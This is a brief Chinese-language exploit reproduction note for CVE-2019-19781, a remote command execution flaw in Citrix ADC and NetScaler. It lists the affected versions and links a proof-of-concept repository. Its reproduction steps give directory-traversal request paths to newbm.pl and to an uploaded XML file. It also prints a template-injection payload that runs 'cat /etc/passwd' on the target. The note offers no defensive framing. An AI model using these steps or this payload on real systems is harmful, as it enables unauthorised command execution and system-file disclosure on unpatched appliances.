001-CVE-2019-19781 Citrix ADC&NetScaler 远程命令执行漏洞

# CVE-2019-19781 Citrix ADC&NetScaler 远程命令执行漏洞

## 漏洞影响

13.x,12.1,12.0,11.1,10.5

## 复现过程

https://github.com/ianxtianxt/CVE-2019-19781

**0x01**

`upload_xml (/vpn/../vpns/portal/scripts/newbm.pl)`

**0x02**

`Execute Command (/vpn/../vpns/portal/jas502n.xml)`

**Payload:**

“`
url=http://example.com&title=c&desc=[% http://template.new(‘BLOCK’ = ‘print `cat /etc/passwd`’) %]
“`